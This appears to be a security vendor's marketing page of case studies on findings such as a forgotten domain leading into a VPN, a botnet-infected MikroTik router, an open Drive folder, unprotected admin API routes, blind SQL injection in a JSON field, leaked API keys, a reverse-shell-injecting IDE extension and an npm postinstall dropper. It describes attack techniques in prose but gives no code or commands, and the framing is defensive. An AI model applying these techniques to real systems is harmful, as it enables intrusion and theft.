Real findings.
Real impact.

A linked domain - not a subdomain - was the way into the internal network

During an external pentest, the target's web application contained links to files hosted on a third-party domain. The domain wasn't a subdomain of the client - it was a fully separate asset they had used for file hosting years ago and forgotten about.

The domain had lapsed SSL, an exposed admin panel, and a directory traversal vulnerability. Exploitation gave access to a VPN gateway reachable from that host.

Pentesterra's ASM engine crawled all outbound links, resolved the domain, ran full fingerprinting, and flagged the admin panel exposure. The attack chain connected the link → vulnerable host → VPN → internal network in one graph. The asset appeared in no inventory.

MikroTik with managed ports exposed to the internet - already compromised

A MikroTik router had Winbox (port 8291) and the management web interface exposed to the public internet. The device was running an unpatched firmware version vulnerable to CVE-2018-14847.

Pentesterra flagged the device, verified the exposure, and identified outbound traffic patterns consistent with C2 communication. The device was already part of a botnet. The client had no monitoring on this segment. The compromise predated the assessment by an unknown period - possibly months.

All traffic routed through this device was potentially intercepted. The attacker had persistent access to the entire network segment. Network scan identified the management ports; traffic analysis showed periodic outbound connections to known botnet infrastructure IPs.

A Google Drive folder link in a public page - the entire directory was open

A government client's public web presence contained a link to a shared Google Drive document - a presentation. The link used a folder-level share, not a single-file share.

The shared folder contained 200+ files: internal strategic plans, budget documents, personnel records, contracts with third parties, and classified project briefings. Every file was readable with the link - no authentication required.

The folder had been configured this way for years based on file timestamps. During web reconnaissance, Pentesterra's crawler followed all external links, detected the Google Drive share, and automatically expanded the folder scope - extracting the full file listing and flagging it as a critical data exposure.

API routes without authorization - allowed adding users with admin rights

During a grey-box web pentest, scanning of authenticated API endpoints revealed a set of user management routes that were not protected by the authorization middleware applied to the rest of the API.

The routes allowed creating new accounts, assigning roles including admin, and resetting passwords for existing accounts. No existing session privilege was required - any authenticated user, including a basic free-tier account, could call them.

Pentesterra's grey-box scanner mapped API route structure and applied authorization boundary testing per endpoint - not per controller. The missing middleware was detected by comparing response behavior across role levels for each route individually.

SQLi that every other scanner missed - in a payment flow

A time-based blind SQL injection in a checkout parameter. The injection point was inside a JSON body field passed to a stored procedure - a pattern that evades most signature-based scanners.

The vulnerability allowed extraction of the entire database schema and user table. The payment flow tables were reachable. At the client's explicit request, the team did not develop the vector further on production.

PentestBrain's verification loop applied time-delay payloads across all request parameters including JSON body fields and detected the anomalous response timing. Standard scanners test URL parameters - this injection was in a nested JSON field inside a POST body passed to a stored procedure.

The Stripe key that was hiding in the logs

A payment service integration had been logging raw HTTP request objects for debugging. Inside those objects: a live Stripe secret key - sk_live_… - quietly written to application logs on every checkout request.

The logs were forwarded to a third-party monitoring platform. Over months, the key had been indexed, stored in retention, and was accessible to anyone with read access to the monitoring dashboard - including contractors and vendor support accounts.

No scanner found it. No SAST rule flagged it. No one in the team knew it was there.

DevGuard detected the pattern during a pre-push scan - not from the log file itself, but from the logging call in source code: logger.info(request) on an object that included payment provider credentials in its serialised form. The finding was marked Secret Exposure via logging path and surfaced before the next deployment.

OpenAI API key committed inside compiled JavaScript

An OpenAI API key was hardcoded in a client-side JavaScript configuration file. The key was live and had billing enabled with no usage limits set.

The file was part of the frontend build output and served publicly. Anyone visiting the application could extract the key from browser DevTools. The key had been in the codebase for 3 months based on git history.

DevGuard's entropy scanner flagged the high-entropy string matching the OpenAI key pattern (sk-proj-…) inside JS bundle files. Git history analysis confirmed the key had been committed and pushed. Token liveness check confirmed the key was still active at time of detection.

IDE extension injecting a reverse shell into JavaScript output

A VS Code extension used by developers for "code formatting improvements" was silently injecting a reverse shell payload into JavaScript files on save. The shell connected back to an external IP on port 4444.

The extension had been installed from the VS Code Marketplace with a 4.2-star rating. It hadn't raised any alerts. The malicious code was in an obfuscated helper function activated when specific file patterns were saved. How often do you audit 15,000+ deps in your dev environment?

DevGuard's extension analysis module scanned installed IDE extensions for filesystem write patterns, network call signatures, and code injection behavior. The obfuscated payload matched the outbound shell connection signature. Every developer running this extension had a persistent reverse shell under their IDE process.

axios 1.14.1 - a legitimate package name, a malicious dropper

A typosquatted / version-hijacked release of axios (1.14.1) appeared in npm. The package passed basic name and description checks. It had a postinstall script that combined three signals in sequence: network call, process execution, and file write.

Each individual action could be legitimate in isolation. Combined in a postinstall hook, they form the canonical RAT dropper signature. The payload used base64+eval obfuscation and self-cleanup - it rewrote package.json after execution to remove hook evidence.

DevGuard now detects this class of attack before you push - before npm install runs, before CI sees the package, before the dropper executes. Developer machines, CI/CD runners, and Docker build environments were all in scope of this attack.